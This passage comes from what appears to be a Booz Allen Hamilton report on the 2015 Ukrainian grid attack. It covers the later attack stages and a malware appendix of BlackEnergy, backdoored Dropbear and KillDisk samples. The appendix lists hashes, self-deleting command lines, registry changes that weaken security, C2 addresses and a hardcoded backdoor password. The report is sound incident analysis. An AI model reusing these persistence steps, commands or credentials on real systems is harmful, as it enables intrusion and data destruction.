cities.151 Kyivoblenergo indicated that seven of its 110kV substations and 23 of its 35kV substations were taken offline, disconnecting power for 80,000 customers.152 Impacts on the infrastructure of Chernivtsioblenergo were not found in public reporting. STEP 14: SEVER CONNECTION TO FIELD DEVICES Public reporting indicates that the updates were pushed to each of the devices within a short period, and the firmware itself was uniform across the targeted converters.153 With the communications between the control center and field devices severed, even after control of the network was restored, the breakers could not be closed remotely and technicians had to manually close them at each substation.154 Manually resetting the breakers, the technicians were able to restore power to customers within three to six hours.155 Booz Allen Hamilton Ultimately, neither the operator nor the manufacturer was able to restore the devices following the malicious update, which forced operators to replace all targeted devices.156 At least 16 substations were disconnected from the control network using the malicious firmware updates.157 The two converters targeted in the attack were the Moxa UC 7408-LX-Plus and the IRZRUH2 3G.158 While both of these devices support firmware updates by authorized users, indicating the attackers may have used the credentials harvested earlier in the attack to push the malicious updates,159 they are also both susceptible to known vulnerabilities. The Moxa device includes an extensive number of vulnerabilities, and the source code itself is publicly available; access to the source code is of particular concern, as it would allow threat actors to directly examine the code for vulnerabilities. The identified Moxa firmware vulnerabilities included arbitrary code execution160 and multiple remote denial-of-service (DoS) vulnerabilities;161,162 in addition, several of the fixes for the device were incomplete, leading to follow-on vulnerabilities.163,164 Though the iRZ-RUH2 was relatively more secure and source code for the firmware did not appear to be publicly available, the device still included a least one vulnerability that would allow an authorized user to remotely update the firmware with an unvalidated patch.165 STEP 15: TDOS ATTACK In an apparent attempt to block incoming communications, threat actors also conducted a TDoS attack against at least one operator. TDoS attacks are similar to DoS attacks against webservers or other data network systems; a flood of communication traffic is used to block legitimate communications by overwhelming infrastructure bandwidth or call-center staff.166 Public reporting indicates that directly prior to opening breakers, one of the operators began receiving thousands of calls at its call centers that appeared to be coming from Moscow.167,168 By preventing operators from receiving outage reports, threat actors may have intended to mask the impact of the outage and possibly draw out recovery time. Alternatively, investigators also noted the TDoS attacks may have been focused on blocking callers from receiving information, in order to create greater confusion and frustration toward the operators among their customer base.169 It is highly likely the TDoS attack in Ukraine was conducted using automated tools, though specific details regarding how the TDoS attack was conducted are not documented in public sources. While not as common as DoS attacks against data networks, there are existing tools to automate the process. Free software, including Asterisk IP PBX and SIP call generator, can be used by attackers to send floods of robocalls at targeted systems.170 Similar to DoS attacks, TDoS floods can be amplified using distributed botnets, and paid services to launch TDoS attacks have also been observed in criminal forums.171 Previously, TDoS attacks have been used to target firms in the financial sector and emergency responder call centers in the US.172 The attacks against emergency responders were principally conducted by criminal groups as part of extortion operations.173 STEP 16: DISABLE CRITICAL SYSTEMS VIA UPS OUTAGE As noted above, the UPS disruptions were likely scheduled in advance of the final attack on the substation breakers. The targeted systems included a telephone communication server and data center servers.174 Public reporting also indicated the disruption impacted control center systems, though specific details on targeted devices were not provided.175 STEP 17: DESTROY CRITICAL SYSTEM DATA KillDisk was retrieved and executed on networked devices at all three distributors.176 The malware overwrote the master boot record (MBR), and in some instances continued to overwrite additional data on disk. Several variants of KillDisk malware were used in the attack; execution routine and extent of data destruction varied.s Affected machines were rendered completely inoperable, adding an additional burden on incident responders and ultimately driving up recovery costs to replace targeted devices. Disk-wiping attacks were not executed against all network devices. Targets were primarily on operators enterprise networks, particularly servers and hosts used by management, human resources, and finance staff, though the attackers also destroyed at least one remote terminal unit (RTU) with an embedded windows HMI card.177 An in depth analysis of each of the recovered Killdisk samples is provided in Appendix B, including assessments of key variations between execution routines. boozallen.com/ics APPENDIX B: Malware Samples The malware samples analyzed for this report can be categorized into four distinct groups. These groups include: Weaponized files used to deliver malware to targeted systems Malicious scripts embedded in the weaponized files used to install a persistent implant Persistent implants used to provide remote access onto the network Additional destructive malware, specifically the KillDisk malware, used to overwrite data during the final stages of the attack. Samples from each of these categories are detailed in the following sections. Though predominantly BlackEnergy (BE) samples, a weaponized version of Dropbear server, and an associated Visual Basic (VB) dropper are also detailed. Multiple samples of the KillDisk malware were analyzed for this report. Samples analyzed for this report were gathered using the Virus Total Intelligence (VTI) service. The First Upload, Final Modification, Language Settings, and File Name data in the malware analysis tables were gathered from the VTI summary for the reported sample. Booz Allen Hamilton DELIVERY MALWARE Most public reporting on the December 2015 attacks indicate that the malware was initially delivered to targeted networks using weaponized Microsoft (MS) Office documents. Several recovered samples indicate attackers had some variation in their delivery method. Recovered samples included both a weaponized MS Excel t file and a weaponized MS Word document. u Samples of BE2 recovered following an attack on a Ukrainian news outlet in October 2015178 indicate the threat actors may have also embedded malware in a compromised Cyberlink PowerDVD 10 binaryv (a movie/media player) or a file designed to look like Cyberlink PowerDVD 10 via string analysis. This particular sample file functioned as an installer, delivering a BE2 implantw and encrypted configuration x file to the targeted system. Though not definitively conducted by the same group behind the attacks against the electricity distributors, the attack on the Ukrainian media outlet, which was conducted on Ukraine s election day, shared the common tactics, techniques, and procedures (TTP) of using a combination of BE malware and KillDisk malware to destroy critical data.179 Appendix B.1: Weaponized MS Excel ( 1.xls) (MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) Appendix B.2: Weaponized MS Word ($RR143TB.doc) (MD5: e15b36c2e394d599a8ab352159089dd2) Appendix B.5: BE2 Installer (Undisclosed) (MD5: 1d6d926f9287b4e4cb5bfc271a164f51) Appendix B.11: Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) APPENDIX B.1: WEAPONIZED MS EXCEL ( 1.XLS) y SHA1: aa67ca4fb712374f5301d1d2bab0ac66107a4df1 SHA-256: 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4 MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732 Type: Microsoft Office Excel180 First Upload: 2015-08-03 10:37:19 181 Compile Timestamp: 2015-02-04 07:35:08 182 Final Modification Timestamp: 2015-03-18 07:41:04183 File Size: 734720 bytes184 Language Settings: Code_page is Cyrillic185 File Names: 1.xls186 Technical Notes: This is a weaponized MS Excel file used to deliver BE3 malware.187 Upon opening the file, users are prompted to enable macros. The spreadsheet includes an embedded VBA macro that executes when users enable the macro functionality. The associated VBA macro is a BE3 installer.188 Related Samples: Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770)189 APPENDIX B.2: WEAPONIZED MS WORD ($RR143TB.DOC) z SHA1: 28719979d7ac8038f24ee0c15114c4a463be85fb SHA-256: 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81 MD5: e15b36c2e394d599a8ab352159089dd2 Type: Microsoft Office Word190 First Upload: 2016-01-20 08:03:52 UTC191 Compile Timestamp: 2015-07-27 10:21:00 192 Final Modification Timestamp: 2015-07-27 10:21:00 193 File Size: 1194496 bytes Language Settings: Code_page is Cyrillic194 File Names: $RR143TB.doc195 Technical Notes: This is a weaponized MS Word file, with an embedded BE3 installer.196 Upon opening the file, users are prompted to enable macros, allowing the execution of the BE3 installer.197 Additional details on the infection routine are provided in Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1). Related Samples: Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) A sample of this file was not recovered. The technical notes provided are based on the cited reporting. A sample of this file was not recovered. The technical notes provided are based on the cited reporting. boozallen.com/ics Following delivery, users enabled macros in the weaponized document, allowing the embedded macros to execute. The executable calls ENVIRON( ) and saves the file, vba_macro. exe in the Widows TMP directory.199 Once saved to disk, the file drops FONTCACHE.DAT (which is a dynamic-link library file), rundll32.exe (which is the standard utility for running .dll files on machines with Windows operating system [OS]), NTUSER. LOG (which is an empty file) and desktop.ini, the default file used to determine folder displays on windows machines.200 MALWARE INSTALLERS In an analysis of a weaponized MS Excel fileaa first observed in August 2015 and most recently reported in January 2015, BE3 malware was found embedded in VB code attached as a macro title: M 609230 _VBA_PROJECT_CUR/VBA/ Workbook________ .198 By using weaponized macros as the attack vector, the threat actors were reliant on users actively enabling macros before they could execute. Samples of the malicious VBA scripts recovered are detailed in Appendix B.3 and Appendix B.4. Booz Allen Hamilton FONTCACHE.DAT serves as the primary BE3 implant, and as noted above, some observed samples have been packed with the tElock packer. FONTCACHE.DAT is dropped into the local application data folder, and a .lnk file is created in the startup folder, which functions as a shortcut to execute using rundll32.exe.201 The .lnk file name is generated off the volume serial number.ab,202,203 Following delivery of FONTCACHE.DAT, and the associated .lnk file, the original executable, vba_macro.exe, is deleted. 204 Analysis details for this sample provided in Appendix B.1. An example path for the .lnk file would be: C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ Startup\{9980061D-64BB-46BC-8AC6-D9AC3DB67577}.lnk APPENDIX B.3: BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 1) SHA1: 4184888c26778f5596d6e8d83624512ed2f045dd SHA-256: ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525 MD5: ac2d7f21c826ce0c449481f79138aebd Type: Win32 Executable 205 First Upload: 2016-01-29 01:59:28 UTC 206 Compile Timestamp: 1979-01-28 00:25:53 207 Final Modification Timestamp: Undisclosed File Size: 110592 bytes208 Language Settings: Japanese 209 File Names:210 CPLEXE.EXE (original name) MS-IME (Internal Name) virus_04.exe vba_macro.exe Technical Notes: At execution: 1. The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ Application Data\FONTCACHE.DAT (size 56,832) 2. And installs persistence: a. C:\Documents and Settings\useradm\Start Menu\Programs\Startup\{C323A392-5BB047D5-9518-E60202A85B5C}.lnk (size 1,682) 3. Weakens Internet settings in registry to lower Internet security: a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ProxyBypass (sets to 1) b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntranetName (sets to 1) c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UNCAsIntranet (sets to 1) 4. It launches (in this case PID: 936) Command line: C:\WINDOWS\system32\rundll32.exe C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE. a. Further weakening Internet Explorer settings: HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled (sets to 0) ii. HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to iii. HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to iv. [Amongst some other I.E. settings] b. And loads BE into svchost.exe -DcomLaunch boozallen.com/ics 5. It then launches (in this case PID: 1804) Command line: /s /c for /L %i in (1,1,100) do (attrib C:\DOCUME~1\useradm\Desktop\CA7A81~1.EXE & del /A:h /F C:\DOCUME~1\ useradm\Desktop\CA7A81~1.EXE & ping localhost -n 2 & if not exist C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE.DAT Exit 1) a. This self deletes it s installer svchost.exe -DcomLaunch launches iexplorer.exe C:\Program Files\Internet Explorer\iexplore.exe -Embedding which beacons to 5.149.254.114:80 This sample differs only slightly from Sample 2 (MD5:abeab18ebae2c3e445699d256d5f5fb1), in that this sample (MD5:ac2d7f21c826ce0c449481f79138aebd) has a rundll32.exe that remains visible in the process list on the victim throughout the initial infection and following every reboot. The following sample does not have this indicator of compromise, as the rundll32 process is only visible for a short period following the initial infection. Related Samples: Appendix B.7: BE3 Implant (Fontcache.dat, Sample 1) (MD5: 3fa9130c9ec44e36e52142f3688313ff) Appendix B.9: BE3 Implant (.LNK Persistence Mechanism, Sample 1) (MD5: 40c74556c36fa14664d9059ad05ca9d3) APPENDIX B.4: BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 2) SHA1: 4c424d5c8cfedf8d2164b9f833f7c631f94c5a4c SHA-256: 07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660 MD5: abeab18ebae2c3e445699d256d5f5fb1 Type: Win32 Executable 211 First Upload: 2015-08-03 10:37:19 212 Compile Timestamp: 1979-01-28 00:25:53 213 Final Modification Timestamp: Undisclosed File Size: 98304 bytes214 Language Settings: Japanese 215 File Names:216 vba_macro MS-IME icshextobin.exe BlackEnergy.exe vba_macro.exe CPLEXE.EXE 1.exe Booz Allen Hamilton Technical Notes: This installer follows a routine very similar to the sample detailed in Appendix B.4 (MD5: ac2d7f21c826ce0c449481f79138aebd); in fact, 33% of its code is shared with that sample. At execution: 1. The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ Application Data\FONTCACHE.DAT (size 55,808) 2. The installer then delivers the persistent .link file at C:\Documents and Settings\useradm\ Start Menu\Programs\Startup\{C323A392-5BB0-47D5-9518-E60202A85B5C}.lnk (size 1,682) a. this .lnk calls rundll32.exe to execute FONTCACHE at system startup 3. Weakens internet settings in registry to lower Internet security: a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ProxyBypass (sets to 1) b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntranetName (sets to 1) c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UNCAsIntranet (sets to 1) 4. Launches (in this case PID: 2696) Command line: C:\WINDOWS\system32\rundll32.exe C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE. a. Further weakens Internet Explorer settings: HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled (sets to 0) ii. HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to iii. HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to iv. [Amongst some other I.E. settings] b. Loads BE into svchost.exe -DcomLaunch 5. Launches (in this case PID: 2704) Command line: /s /c for /L %i in (1,1,100) do (del /F DOCUME~1\useradm\Desktop\07E726~1.EXE & ping localhost -n 2 & if not exist DOCUME~1\useradm\Desktop\07E726~1.EXE Exit 1) a. Deletes BE on-disk installer 6. Fontcache (from within svchost.exe -DcomLaunch) launches C:\Program Files\Internet Explorer\iexplore.exe -Embedding a. Which beacons to 5.149.254.114:80 boozallen.com/ics Related Samples: Appendix B.8: BE3 Implant (FONTCACHE.DAT, Sample 2) (MD5: cdfb4cda9144d01fb26b5449f9d189ff) Appendix B.9 BE3 Implant (.LNK Persistence Mechanism, Sample 2) (MD5: bffd06a38a46c1fe2bde0317176f04b8) APPENDIX B.5: BE2 INSTALLER (UNDISCLOSED) SHA1: 896fcacff6310bbe5335677e99e4c3d370f73d96 SHA-256: 07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad MD5: 1d6d926f9287b4e4cb5bfc271a164f51 Type: Win32 Executable 217 First Upload: 2015-10-11 04:17:36 UTC 218 Compile Timestamp: 0000:00:00 00:00:00 219 Final Modification Timestamp: Undisclosed File Size: 155648 bytes220 Language Settings: English 221 File Names: Undisclosed Technical Notes: This is a BE2 dropper, installer, and RAT bundle. It is either a modified Cyberlink PowerDVD 10 binary or is designed to look like one during string analysis. The installer appears to be packed, possibly with tElock. The associated implant is packed with tElock 0.99. This bundle includes an encrypted file, which is likely the configuration file stored on disk. Infection Routine: 1. Installer 1d6d926f9287b4e4cb5bfc271a164f51.exe (in this case PID 596) executes 2. Installer creates file c:\windows\adpu160ms then pings localhost -n 2 (effectively a 2 second sleep) 3. Installer pings localhost -n 3 (effectively a 3 second sleep) 4. Installer launches a cmd.exe (in this case PID 880) with the following command line: a. PID: 880, Command line: /c ping localhost n 8 & move /Y C:\WINDOWS\adpu160ms C:\WINDOWS\system32\drivers\adpu160m.sys & ping localhost n 3 & net start adpu160m 5. Services.exe (in this case PID 768) writes the registry keys for apdu160m and loads adpu160m.sys into svchost.exe DcomLaunch (in this case PID 988) Booz Allen Hamilton 6. Once loaded into svchost.exe DcomLaunch (PID 988) the malware writes a 203-byte, encoded, and timestamped file to c:\windows\system32\ieapflrt.dat, which is likely a configuration file. 7. The implant then performs a reverse lookup to 5.9.32.230 and attempts to initiate a TCP connection over port 443. The implant goes through this routine frequently, nearly every two minutes. Related Samples: Appendix B.7: Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) Appendix B.8: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) APPENDIX B.6: DROPBEAR INSTALLER (DROPBEARRUN.VBS) ac SHA1: 72d0b326410e1d0705281fde83cb7c33c67bc8ca SHA-256: b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f MD5: 0af5b1e8eaf5ee4bd05227bf53050770 Type: ASCII text 222 First Upload: 2015-10-13 10:51:25 UTC 223 Compile Timestamp: Undisclosed Final Modification Timestamp: 2015-03-17 06:41:04 UTC+0 224 File Size: 165 bytes225 Language Settings: Undisclosed File Names: DropbearRun.vbs226 VBS/Agent.AD trojan 227 Technical Notes: This script launches the Dropbear SSH server from directory C:\\WINDOWS\TEMP\DROPBEAR\, and sets the server to listen on port 6789. 228 The modified version of the Dropbear server includes two backdoors, a hardcoded public key authentication process, and a hardcoded username and password. 229 Related Samples: Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) Appendix B.13: Dropbear Implant (Dropbear.exe) (fffeaba10fd83c59c28f025c99d063f8) A sample of this file was not recovered. The technical notes provided are based on the cited reporting. boozallen.com/ics Communications between the infected host and the CC server are conducted using HTTP POST requests. 231 During the initiation of the connection, BE3 requests will contain fields such as a SHA1 hash of the bot_id, domain security identifier (SID), host name and serial number, as well as build_id from the samples configuration data, and a series of hardcoded values representing the associated version number. 232 The CC server then sends a decrypted response as a series of 509_ASN encoded values. 233 PERSISTENT MALWARE IMPLANTS After dropping FONTCACHE.DAT into the application data directory and inserting the associated .lnk file in the startup directory, the installer takes steps to modify the Internet security setting and initiate the process of connecting to the command-and-control (CC) server. The installer first modifies in-registry Internet settings to lower the Internet security, then uses rundll32. exe to launch FONTCACHE.DAT, which in turn further weakens Internet security settings, specifically targeting MS Internet Explorer. FONTCACHE.DAT is then loaded into svchost.exe, the standard process used for hosting services running off .dll files, which then launches iexploerer.exe and attempts to use Internet Explorer to establish an HTTP connection with an external host.ad In the analyzed sample, the implant attempted to connect to IP address 5.149.254.114.ae This IP address was identified as a potential CC server in other BE3 analysis reporting. 230 Booz Allen Hamilton In the initial POST request sent to the CC server, the hashed build_id is a unique text string associated with each individual infection. 234,235 These build_ids, as well as a list of the CC servers, are stored in the embedded configuration data within the binary of the .dll implant. 236 Publicly reported analysis of the BE3 samples indicate that at least 12 build_ids had been identified in 2015, and the strings included in the build_ids are likely significant. 237 The 12 build_ids recovered in 2015 included strings such as kiev_o and 2015telsmi, and the authors of the report speculate is an acronym representing Sredstva Massovoj Informacii. 238 Sredstva Massovoj Informacii ( ) is the Russian term for mass media, which may be referring to the attack on the Ukrainian media outlet in October 2015. This summary is based on the infection routine observed in VBA_macro.exe, Sample 1. Additional details on specific setting modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1). This summary is based on the infection routine observed in VBA_macro.exe, Sample 1. Additional details on specific setting modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1). A P P E N D I X B .7: BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 1) SHA1: 899baab61f32c68cde98db9d980cd4fe39edd572 SHA-256: ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3 MD5: 3fa9130c9ec44e36e52142f3688313ff Type: Win32 Dynamic Link Library239 First Upload: 2015-10-13 10:51:25 UTC 240 Compile Timestamp: 1979-01-28 00:25:53 241 Final Modification Timestamp: 1979:01:28 01:25:53+01:00 242 File Size: 56832 bytes243 Language Settings:244 Neutral English US File Names:245 FONTCACHE.DLL FONTCACHE.DAT.174093.DROPPED FONTCACHE.DAT packet.dll Technical Notes: This is the implant file associated with Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). Full infection routine details are provided in Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). Related Samples: Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) boozallen.com/ics APPENDIX B.8: BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 2) SHA1: 315863c696603ac442b2600e9ecc1819b7ed1b54 SHA-256: f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8 MD5: cdfb4cda9144d01fb26b5449f9d189ff Type: Win32 Dynamic Link Library246 First Upload: 2015-07-27 13:17:32 247 Compile Timestamp: 1979-01-28 00:25:53 248 Final Modification Timestamp: 1979-01-28 00:25:53 249 File Size: 55808 bytes250 Language Settings:251 Neutral English US File Names:252 FONTCACHE.DAT 63.dll packet.dll Technical Notes: This is the implant file associated with Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2). Full infection routine details are provided in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2). Related Samples: Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1 Appendix B.10: BE3 Implant (.LNK Persistence Mechanism, Sample 2) (MD5: bffd06a38a46c1fe2bde0317176f04b8) APPENDIX B.9: BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 1) af SHA1: f89ce5ba8e7b8587457848182ff1108b1255b87f SHA-256: 2872473b7144c2fb6910ebf48786c49f9d4f46117b9d2aaa517450fce940d0da MD5: 40c74556c36fa14664d9059ad05ca9d3 Type: Microsoft Windows LiNK First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: 1682 bytes Language Settings: Not Submitted File Names: Not Submitted Booz Allen Hamilton This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware sample. Not Submitted is listed in fields that would otherwise have been populated with data from public sources. Technical Notes: This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT implant. Full infection routine details associated with this file are provided in Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). Related Samples: Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) Appendix B.4: BE3 Implant (FONTCACHE.DAT, Sample 1) (MD5: 3fa9130c9ec44e36e52142f3688313ff) APPENDIX B.10: BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 2) ag SHA1: 3feb426ac934f60eee4e08160d9c8bbe926c917e SHA-256: 22735ffeb3472572f608e9a2625ec91735482d9423ea7a43ed32f8a39308eda8 MD5: bffd06a38a46c1fe2bde0317176f04b8 Type: Microsoft Windows LiNK First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: 1682 bytes Language Settings: Not Submitted File Names: Not Submitted Technical Notes: This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT implant. Full infection routine details associated with this file are provided in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2). Related Samples: Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) Appendix B.9: BE3 Implant (FONTCACHE.DAT, Sample 2) (MD5:cdfb4cda9144d01fb26b5449f9d189ff) This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware sample. Not Submitted is listed in fields that would otherwise have been populated with data from public sources. boozallen.com/ics A PPENDIX B.11: BE2 IMPLANT (ADPU160M.SYS) SHA1: 4bc2bbd1809c8b66eecd7c28ac319b948577de7b SHA-256: 244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5 MD5: e60854c96fab23f2c857dd6eb745961c Type: Win32 Executable 253 First Upload: 2015-10-09 16:26:08 UTC 254 Compile Timestamp: Not Submitted Final Modification Timestamp: 0000:00:00 00:00:00 255 File Size: 60928 bytes256 Language Settings: English 257 File Names:258 FILE_208 acpipmi.sys aliides.sys Technical Notes: This is the implant file associated with Appendix B.5: BE2 Installer (Undisclosed). The name is listed here (adpu160m.sys) is taken from a legitimate, unused driver on the system, and will potentially vary between executions. Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed). Related Samples: Appendix B.5: BE2 Installer (Undisclosed) (MD5: 1d6d926f9287b4e4cb5bfc271a164f51) Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) APPENDIX B.12: BE3 ENCRYPTED CONFIGURATION/ON-DISK-STORE (IEAPFLRT.DAT) ah SHA1: 63bf25190139bd307290c301304597bdeffa4351 SHA-256: ad2e333141e4e7a800d725f06e25a58a683b42467645d65ba5a1cf377b4adcbe MD5: 01215f813d3e93ed7e3fc3fe369a6cd5 Type: Not Submitted First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: Not Submitted Language Settings: Not Submitted File Names: Not Submitted Technical Notes: This is the encrypted configuration and on-disk-store file associated with Appendix B.5: BE2 Installer (Undisclosed). Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed). Booz Allen Hamilton This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware sample. Not Submitted is listed in fields that would otherwise have been populated with data from public sources. Related Samples: Appendix B.5: BE2 Installer (Undisclosed (MD5:1d6d926f9287b4e4cb5bfc271a164f51) Appendix B.7: BE3 Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) APPENDIX B.13: MODIFIED DROPBEAR SERVER IMPLANT (DROPBEAR.EXE) ai SHA1: 166d71c63d0eb609c4f77499112965db7d9a51bb SHA-256: 0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd MD5: fffeaba10fd83c59c28f025c99d063f8 Type: Win32 Executable 259 First Upload: 2015-06-25 09:16:03 260 Compile Timestamp: 2013-12-10 06:08:44 261 Final Modification Timestamp: 2013:12:10 07:08:44+01:00 262 File Size: 303152 bytes Language Settings: Undisclosed File Names: dropbear.exe263 Win32/SSHBearDoor.A trojan264 Technical Notes: This file is the Dropbear server program. Analysis identified that this Dropbear binary code was modified from its source code to include a backdoor and authentication processes. 265 The first authentication process uses a hardcoded credential set of user and passDs5Bu9Te7 and the second process uses a RSA public key. 266 Related Samples: Appendix B.1: Weaponized MS Excel ( 1.xls) (MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770) A sample of this file was not recovered. The technical notes provided are based on the cited reporting. boozallen.com/ics KILLDISK SAMPLES Five KillDisk samples were recovered and analyzed for this report. Two of the samplesaj,ak drop a file C:\windows\svchost.exe and create a process C:\WINDOWS\svchost.exe service, which runs as a child of services.exe. The process overwrites the first 131072 bytes of \Device\Harddisk0\DR0 with zeros, effectively rendering the OS unusable upon reboot. The infected machine then sustains a critical error, displays a blue screen of death, and reboots with the message Operating System not found. third observed sampleal executes nearly identically, though the sample runs as its own process as opposed to dropping an embedded file onto the targeted system to overwrite the data. A key point of variance between recovered samples is the level of additional data destruction Booz Allen Hamilton beyond overwriting the master boot record. Though all samples ultimately rendered the machines inoperable, in the samplesam,an described above, a critical system error and forced reboot occurred without overwriting any additional data on disk. This indicates that valuable data stored on the device may be recoverable, even if the machine itself is inoperable. Two other analyzed samplesao,ap included additional data destruction beyond the MBR. The first aq runs as its own process and overwrites the first 131072 bytes of \Device\Harddisk0\DR0 with spaces, rendering the OS unusable upon reboot. The sample then continues to overwrite thousands of files while the system remains powered on but unusable. The other sample follows a nearly identical execution, though it runs as a child process to services.exe Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) Appendix B.14: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) and also drops hundreds of 5-byte .tmp files in C:\ windows\temp\ with incrementing numeric file names. Public reporting indicates that some observed KillDisk samples would not execute properly in malware sandboxes, requiring analysts to conduct static analysis. 267 This could possibly indicate functionality to identify the use of malware sandboxes, a feature that would be included to hinder forensic analysis. In initial analysis of one of the recovered samples,ar analysts found it would not run in a Windows XP virtual machine, though patching with Ollydbg corrected this issue. This may have been the same issue discussed by other analysts encountered. At least one machine destroyed by KillDisk was functioning as a remote terminal unit (RTU), and some public reporting indicated that a process executed by the malware (sec_service.exe) may have been a standard process in several applications used in control environments. 268 Despite this, specific targeting of industrial control systems (ICS) devices was not a behavior observed in any of the KillDisk samples analyzed. The samples observed did not include inherent features to discover ICS components, and the reported disk destruction against the RTU was likely accomplished by the threat actors, actively delivering the malware to the targeted system. In addition to targeting the electricity distributors in December 2015, several of the KillDisk samples analyzed for this report were also reported in attacks against a Ukrainian railway operatoras and Ukrainian mining companyat,au in November and December 2015. 269 Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) Ibid Appendix B.15: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) boozallen.com/ics APPENDIX B.14: 